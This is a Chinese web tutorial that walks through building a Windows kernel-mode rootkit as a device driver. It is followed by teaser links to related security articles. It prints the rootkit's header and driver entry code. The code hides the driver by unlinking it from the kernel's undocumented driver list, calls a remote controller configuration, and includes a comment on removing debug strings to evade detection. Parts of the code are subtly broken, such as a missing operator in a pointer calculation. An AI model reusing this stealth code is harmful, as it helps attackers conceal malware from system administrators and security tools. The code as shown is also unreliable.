rootkit是什么?rootkit是如何隐形的?
一、综述
本文将引领读者打造一个初级的内核级Rootkit,然后为其引入两种简单的隐形技术:进程隐形技术和文件隐形技术。同时,为了让读者获得rootkit编程的相关经验,我们顺便介绍了rootkit的装载、卸载方法,以及必不可少的测试技术。
本文介绍的Rootkit的主要构件是一个设备驱动程序,所以我们首先了解一下我们的第一个rootkit。
二、rootkit主体
本节引入一个简单的rootkit实例,它实际上只给出了rootkit的主体框架,换句话说,就是一个设备驱动程序。那么为什么要用设备驱动程序作为主体呢?很明显,因为在系统中,设备驱动程序和操作系统一样,都是程序中的特权阶级——它们运行于Ring0,有权访问系统中的所有代码和数据。还有一点需要说明的是,因为本例主要目的在于介绍rootkit是如何隐形的,所以并没有实现后门之类的具体功能,。
我们将以源代码的形式说明rootkit,对着重介绍一些重要的数据结构和函数。下面,先给出我们用到的第一个文件,它是一个头文件,名为Invisible.h,具体如下所示:
//Invisible.h:我们rootkit的头文件
#ifndef _INVISIBLE_H_
#define _INVISIBLE_H_
typedef BOOLEAN BOOL;
typedef unsigned long DWORD;
typedef DWORD* PDWORD;
typedef unsigned long ULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef struct _DRIVER_DATA
{
LIST_ENTRY listEntry;
DWORDunknown1;
DWORDunknown2;
DWORDunknown3;
DWORDunknown4;
DWORDunknown5;
DWORDunknown6;
DWORDunknown7;
UNICODE_STRING path;
UNICODE_STRING name;
} DRIVER_DATA;
#endif
我们知道,应用软件只要简单引用几个文件如stdio.h和windows.h,就能囊括大量的定义。但这种做法到了驱动程序这里就行不通了,原因大致有二条,一是驱动程序体积一般较为紧凑,二是驱动程序用途较为专一,用到的数据类型较少。因此,我们这里给出了一个头文件Invisible.h,其中定义了一些供我们的rootkit之用的数据类型。
这里定义的类型中,有一个数据类型要提一下:双字类型,它实际上是一个无符号长整型。此外,DRIVER_DATA是Windows 操作系统未公开的一个数据结构,其中含有分别指向设备驱动程序目录中上一个和下一个设备驱动程序的指针。而我们这里开发的rootkit恰好就是作为设备驱动程序来实现,所以,只要从设备驱动程序目录中将我们的rootkit(即驱动程序)所对应的目录项去掉,系统管理程序就看不到它了,从而实现了隐形。
上面介绍了rootkit的头文件,现在开始介绍rootkit的主体部分,它实际就是一个基本的设备驱动程序,具体代码如下面的Invisible.c所示:
// Invisible
#include "ntddk.h"
#include "Invisible.h"
#include "fileManager.h"
#include "configManager.h"
// 全局变量
ULONG majorVersion;
ULONG minorVersion;
//当进行free build时,将其注释掉,以防被检测到
VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )
{
DbgPrint("comint16: OnUnload called.");
}
NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
DRIVER_DATA* driverData;
//取得操作系统的版本
PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );
// Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95
// Major = 5: Windows Server 2003, Windows XP 或 Windows 2000
// Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95
// Minor = 1: Windows XP
// Minor = 2: Windows Server 2003
if ( majorVersion == 5 && minorVersion == 2 )
{
DbgPrint("comint16: Running on Windows 2003");
}
else if ( majorVersion == 5 && minorVersion == 1 )
{
DbgPrint("comint16: Running on Windows XP");
}
else if ( majorVersion == 5 && minorVersion == 0 )
{
DbgPrint("comint16: Running on Windows 2000");
}
else if ( majorVersion == 4 && minorVersion == 0 )
{
DbgPrint("comint16: Running on Windows NT 4.0");
}
else
{
DbgPrint("comint16: Running on unknown system");
}
// 隐藏该驱动程序
driverData = *((DRIVER_DATA**)((DWORD)pDriverObject 20));
if( driverData != NULL )
{
// 将本驱动程序的相应目录项从项驱动程序目录中拆下来
*((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;
driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;
}
// 允许卸载本驱动程序
pDriverObject->DriverUnload = OnUnload;
// 为本Rootkit的控制器配置连接
if( !NT_SUCCESS( Configure() ) )
{
DbgPrint("comint16: Could not configure remote connection.\n");
return STATUS_UNSUCCESSFUL;
}
return STATUS_SUCCESS;
}
电脑怎么设置密码?这款大势至电脑文件加密软件能帮你
现在各种网络安全事件层出不穷,尤其是各种泄密“门”相关的安全事件让很多人胆战心惊。如何保护电脑文件安全、保护个人隐私,就成为当前文件防泄密的重要举措。如何选择合适的电脑文件加密软件呢?在此向大家推
详情2018-01-02 16:58:58责编:llp 来源:驱动管家u盘加密被破解的原理 为什么u盘加密简单被破解?
使用U盘、移动硬盘加密工具加密文件夹后,我用文件嗅探器工具也看不到加密后真实的文件,当用金山毒霸扫描发现,好像这些文件被隐藏保存在 Thumbs dn 7 中(其中那个7 中的7有时是其他的数字),但是我直接这样
详情2018-01-05 19:32:16责编:llp 来源:驱动管家手机root好不好?手机root为漏洞利用打开方便之门
也许你的手机ROOT只是为了安装一款游戏,安装一个工具。对我们普通人来说,ROOT代表着方便和自由,其实你不知道的是,它同时也为黑客带来了侵犯你隐私的方便和自由。看看ROOT后的手机是怎样为漏洞大开方便之门的
详情2018-01-12 10:55:50责编:llp 来源:驱动管家验证码无法显示怎么办?验证码无法显示的解决方法
晚上检测一个站的时候,猜解出了密码,扫出了后台,可验证码就是无法显示,难道管理员故意弄的?不太可能吧?于是上网一搜,没想到还真找到了解决的方法。我的是Vista Ultimate,部分XP SP2也会有这个问题。好
详情2018-01-02 16:13:09责编:llp 来源:驱动管家傲游浏览器有哪些漏洞?傲游浏览器的漏洞一般在哪些地方?
这个漏洞首先是国外某个团队发现的,他研究了多个浏览器的漏洞。其中遨游的漏洞比较独特,大致存在几个方面的,1 about:history中存在xss漏洞,即浏览历史中url链接中存在明显的xss漏洞。2 遨游的拓展中存在大量
详情2018-01-08 17:11:48责编:llp 来源:驱动管家勒索软件补丁:安装android7.0 nougat
有一天打开电脑,发现电脑已经被锁住,窗口弹出说明:如果你不给钱,就把你的电脑清空,这就是遇到了勒索软件。近年来,这种勒索已经频频出现在安卓手机上,手机里的重要资料可能比电脑里还多,这时候怎么办,真
详情2018-01-04 09:11:33责编:llp 来源:驱动管家免费wifi怎么盗取信息?免费wifi信息盗取的手段
A、公共场所免费的WiFi是元凶,假WiFi15分钟可盗取信息据介绍,这种骗术的成本并不高,一台WIN7系统电脑、一套无线网络及一个网络包分析软件,设置一个无线热点AP,就可以轻松地搭建一个不设密码的WiFi。现如今公
详情2018-01-06 09:20:41责编:llp 来源:驱动管家利用windows自带功能给文件夹加密的方法是什么?
每个人都有一些不希望别人看到的东西,例如学习计划、情书等等,大家都喜欢把它们放在一个文件夹里,虽然可以采用某些工具软件给文件夹加密,但那样太麻烦了,有没有什么简单的方法可以为自己的文件夹设定一个密
详情2018-01-07 14:44:43责编:llp 来源:驱动管家不让外来人员共享文件要怎么做?禁止外人共享文件的方法
为了日常工作方便,设置共享文件服务器通常是大多数企业的管理方式,共享文件服务器上的共享文件仅用于局域网内的用户使用。但工作中免不了有客户来访,也需要连接网络,这样公司内部共享的文件也会向这些外来人
详情2018-01-06 18:07:13责编:llp 来源:驱动管家怎么避免黑客攻击?避免黑客攻击有哪些方法?
日常使用中,IE庞大的使用人群和层出不穷的高危漏洞,使它往往很容易受到来自各方面的影响和攻击而导致失效。而由于卸载的不便和难以通过覆盖安装解决问题,因此很多朋友在面对此问题时往往选择了格式化硬盘重装
详情2018-01-11 11:08:41责编:llp 来源:驱动管家
- CentOS 6.5安装完成后不能连接无线网络 怎么处理?
- 美图秀秀网页版上线了哪些新特效?美图秀秀网页版新特效介绍
- 溶图功能怎么用?美图秀秀网页版有溶图功能吗?
- 声卡驱动在安装的时候经常提示安装失败怎么办
- 不同类型的无线网卡怎么用?无线网卡使用方法大全
- 用ultraiso制作u盘启动盘的具体方法详解
- 什么是usb接口数据线?otc线和usb接口数据线的区别在哪?
- 电脑网速怎么提升?网速提升的方法有哪些?
- 什么是xss?xss攻击有哪些主要途径?
- 驱动问题如何检测?win10手动检查驱动错误的方法
- b站视频下载后没有办法播放怎么办?b站视频下载后不能播放解决办法
- 爱奇艺高清渲染在哪儿开?爱奇艺视频高清渲染设置?
- 双显卡怎么切换?用这两种办法可自由切换显卡
- 在电脑里面找不到光驱的图标可能是这方面的原因
- 电脑出现损坏文件提示请运行chkdsk工具有什么方法解决
- 手机上网设置 各个手机营运商的手机上网设置是什么样的?
- QQ群等级积分怎么刷?QQ群等级积分刷分技巧
- rar.exe有什么用?上传rar.exe可以快速下载su目录文件
- 通过UEFI方式安装Win8系统 提示“缺少计算机所需的介质驱动程序”
- 嘟嘟语音某个频道没有声音怎么回事?嘟嘟语音听不到声音怎么办?